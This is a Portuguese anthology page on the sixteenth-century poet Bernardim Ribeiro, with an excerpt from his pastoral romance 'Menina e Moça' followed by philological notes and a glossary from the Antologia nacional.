BERNARDIM RIBEIRO – ESCRITORES e POETAS PORTUGUESES da FASE QUINHENTISTA

CAPÍTULO 4

FASE QUINHENTISTA

(Século XVI)

ESCRITORES PORTUGUESES

BERNARDIM RIBEIRO (Torrão, 1475-1553) um dos poetas que figuram no Cancioneiro Geral de Garcia de Resende, tem nome pela gentil singeleza das suas composições pastoris e sobretudo pelo seu romance Menina e Moça, assim denominado pelas palavras por que começa, mas que primeiro se imprimiu com o título Saudades de Bernardim Ribeiro. Sobre estas produções literárias paira a lenda de uma inditosa paixão de Bernardim por D. Beatriz, filha de el-rei D. Manuel.

Solidão e Tristeza

Neste monte mais alto de todos passava eu a minha vida como podia; ora em me ir pelos fundos vales que os cingem de redor, ora em me pôr do mais alto deles a olhar a terra como ia acabar no mar; e depois o mar como se estendia logo após ela, para acabar onde ninguém o visse. Mas, quando vinha a noite, aceita (458) aos meus pensamentos, que (459) via as aves buscarem seus poisos, umas chamarem as outras, parecendo que queria assossegar a terra mesma; então eu, triste com os cuidados dobrados com que amanhecia, me recolhia para a minha pobre casa, onde Deus me é boa testemunha de como as noites dormia. Assim passava eu o tempo.

E inda bem não foi alto dia, quando eu (parece que acinte) (460) determinei ir-me para o pé deste monte, que de arvoredo grande e verdes ervas e deleitosas sombras é cheio; por onde corre um pequeno ribeiro de água de todo o ano, que, nas noites caladas, o rugido dele (461) faz no mais alto deste monte um saudoso tom, que muitas vezes me tolhe o sono, onde outras muitas vou eu lavar minhas lágrimas, e onde muitas infindas as torno a beber. Começava então de querer cair a calma, (462) e no caminho, com a pressa, por fugir dela, ou pela desventura que me levava a mim, três ou quatro vezes caí ali; mas eu (que depois de triste cuidei que não tinha mais que temer) não olhei nada por aquilo em que parece que Deus me queria avisar da mudança que depois havia de vir. Chegando à borda do rio, olhei para onde havia melhores sombras; pareceram-mo (463) as que estavam além do rio; disse eu então que naquilo se enxergava que era desejado tudo o que com mais trabalho se podia haver, porque não se podia ir além sem se passar a água que ali corria mansa e mais alta que na outra parte. Mas eu (que sempre folguei de buscar meu dano) passei além, e fui-me assentar sob a espessa sombra de um verde freixo, que para baixo um pouco estava; algumas das ramas estendia por cima dágua, que fazia um pouco de corrente, e, impedida de um penedo que no meio dela estava, se partia para um e outro cabo, murmurando. Eu, que os olhos levava ali postos, comecei a cuidar que também nas coisas que não tinham entendimento, havia fazerem-se nojo uma às outras.

Estava dali aprendendo a tomar algum conforto no meu mal; que assim aquele penedo estava enojando aquela água que queria ir seu caminho; e crescia-me daquilo um pesar; porque a cabo do penedo tornava a água a juntar-se e ir seu caminho sem estrondo algum, mas antes parecia que corria ali mais depressa que pela outra parte; e dizia eu que seria aquilo por se apartar mais asinha daquele peinedo, inimigo de seu curso natural, que como força ali estava.

Não tardou muito que, estando eu assim cuidando, sobre um verde ramo, que por cima da água se estendia, veio pousar um rouxinol. Começou a cantar tão docemente que todo me levou após si o meu sentido de ouvir; e êle cada vez crescia mais em seus queixumes, que parecia que como cansado queria acabar; (464) senão quando tornava como que começava; então (triste da avezinha!) que, estando-se assim queixando, não sei como se caiu morta sobre aquela água. Caindo por entre as ramas, muitas folhas caíram também com ela. Pareceu aquilo sinal de pesar, naquele arvoredo, de caso tão desastrado. Levava-a após si a água e as folhas após ela; e quisera-a eu ir tomar; mas pela corrente que fazia, e pelo mato que dali para baixo acerca (465) do rio logo estava, prestemente se alongou da minha vista.

O coração me doeu tanto em ver tão asinha (466) morto quem dantes tão pouco havia que vira estar cantando, que não pude ter as lágrimas. (467).

(Menina e Moça. Caps. 1.° e 2.° da parte l.a). Obra de BERNARDIM RIBEIRO

 

Notas e Glossário

  • (458) aceita aos meus pensamentos — "aceita" — diz mestre João Ribeiro — refere-se a eu (a heroína) e não a noite e significa: entregue, dada a". {Seleta Clâss., 4.a ed., pp. 81-82).
  • (459) que via ~ quando via, repetindo aquela temporal; ou e via subentendendo o mesmo quando: e(quando)via. O uso de que para substituir quando ou como, anteriormente expresso, é imitação da sintaxe francesa, que emprega essa partícula na segunda parte da frase, para evitar a repetição das conjunções quand, comme, semelhantemente ao que se dá, nesse idioma, com as conjunções em que entra o que (.lorsque, aussitôt que, parce que, quoique etc. ). "Quand je me figure une de ces lectures spirituelles… et que je me demande"… (Rjenan, Souvenirs d’enfance et de jeunesse, pp. 190-191); "Comme il n’était pas facile de répondre à chacune de ces questions, et que Fabius se plaignait d’avoir son accusateur pour juge"... (Taine, Essai sur Tite Live, 7.a ed., p. 261). Em vernáculo é absolutamente condenável êsse que, que Mário Barreto só aceita quando é a repetição do que final de uma locução conjuncional anteriormente expressa: Logo que êle embarcou e que de nós se despediu… Melhor, entretanto, é omitir a conjunção em qualquer caso. A coordenativa e\ basta à compreensão.
  • (460) acinte — propositadamente, com intenção preconcebida (da loc. a scinte (sciente). Diz-se também acinte-mente; é igualmente substantivo: um acinte; e daí o adjet. acintoso.
  • (461) Observe o estudante a construção menos pura e verifique que melhor fora dizer: "um pequeno ribeiro… cujo rugido, nas noites caladas faz… um saudoso tom"…
  • (462) a calma = o calor: "não podendo já suportar a calma, por estar sem gorra"… (F. M. de Melo, Apól. Dialog., ed. Nery, p. 281). V. a n. 398.
  • (463) pareceram-mo — este — o — é predicativo do sujeito e, como forma neutra, substitui as melhores sombras, anteriormente escrito; me é objeto indireto, e o pronome as, subseqüente, sujeito do v. parecer. (464) acabar = morrer. V. n. 5. (465) acerca do rio = perto do rio, acercar-se de = apro?ci-mar-se, abeirar-se. Do lat. circa, em redor, junto.
  • (466) azinha = depressa. Do lat. *agina, com mudança do g em z. "*Agina é formação artificial resultante do radical ag- e do sufixo -ina, e significa ato de mover, pressa. Dali vem o advérbio arcaico aginha [nos séculos XV e XVI asinha.]" (Fe. Aug. Magne na Rev. de Filol. e de Hist., I, p. 514). "Em trazer e azinha — escreve J. J. Nunes — o — g (de trager e aginha) passou depois a — z —, evolução que não é estranha à linguagem popular". E manda confrontar enzestã, rezisto e arzila, usados em Portugal, e franzir e espanzir com indigestão, registo, argila, frangir e espargir. As duas Academias consignam, nos respectivos Vocabulários, a grafia gratuita asinha, com s, comum nos does. antigos. (467) ter as lágrimas = contê-las, reprimi-las.

Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

 

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